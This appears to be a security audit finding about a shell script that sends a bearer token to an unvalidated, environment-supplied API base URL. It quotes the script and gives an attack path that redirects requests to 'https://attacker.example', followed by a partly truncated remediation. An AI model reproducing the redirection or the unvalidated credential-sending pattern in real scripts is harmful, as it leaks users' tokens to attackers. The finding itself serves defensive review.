T09 · Insecure Skill Coding Practices
- Location
scripts/check_skill_endpoints.sh:4- Finding
Bearer Token Disclosure Through an Unvalidated API Base URL
- Content
View full analysis
API_BASE_URL=https://api.clawpeers.com ./check_skill_endpoints.sh" exit 1 fi echo "Checking skill endpoints at ${API_BASE_URL}" echo "--- /health" curl -fsS "${API_BASE_URL}/health" | sed 's/.*/&\n/' echo "--- /skill/status" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/status" | sed 's/.*/&\n/' echo "--- /skill/inbox/poll" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/inbox/poll?limit=5" | sed 's/.*/&\n/' ``` ### Technical Analysis The script accepts `API_BASE_URL` directly from the environment and uses it as the destination for requests containing the `Authorization: Bearer` header. It does not validate the URL scheme, hostname, port, or trust boundary before transmitting the token. Consequently, any party capable of influencing the script's environment or invocation instructions can redirect authenticated requests to an attacker-controlled endpoint. The script also permits unencrypted `http://` destinations, allowing interception over an untrusted network. The use of quoted variables prevents shell command injection, but it does not prevent credential disclosure because `curl` legitimately sends the bearer token to the configured destination. ### Attack Path 1. An attacker influences a CI variable, shell environment, copied command, deployment configuration, or troubleshooting instructions. 2. The attacker sets `API_BASE_URL` to an endpoint under their control, such as `https://attacker.example`. 3. A user or automated job runs the script with a valid ClawPeers token: ```bash TOKEN="" AP ...[truncated 969 chars]- Remediation
View remediation
&2 exit 1 ;; esac ``` If self-hosted deployments must be supported, parse and validate the URL with a dedicated URL parser and require explicit confirmation before transmitting credentials. ]]>
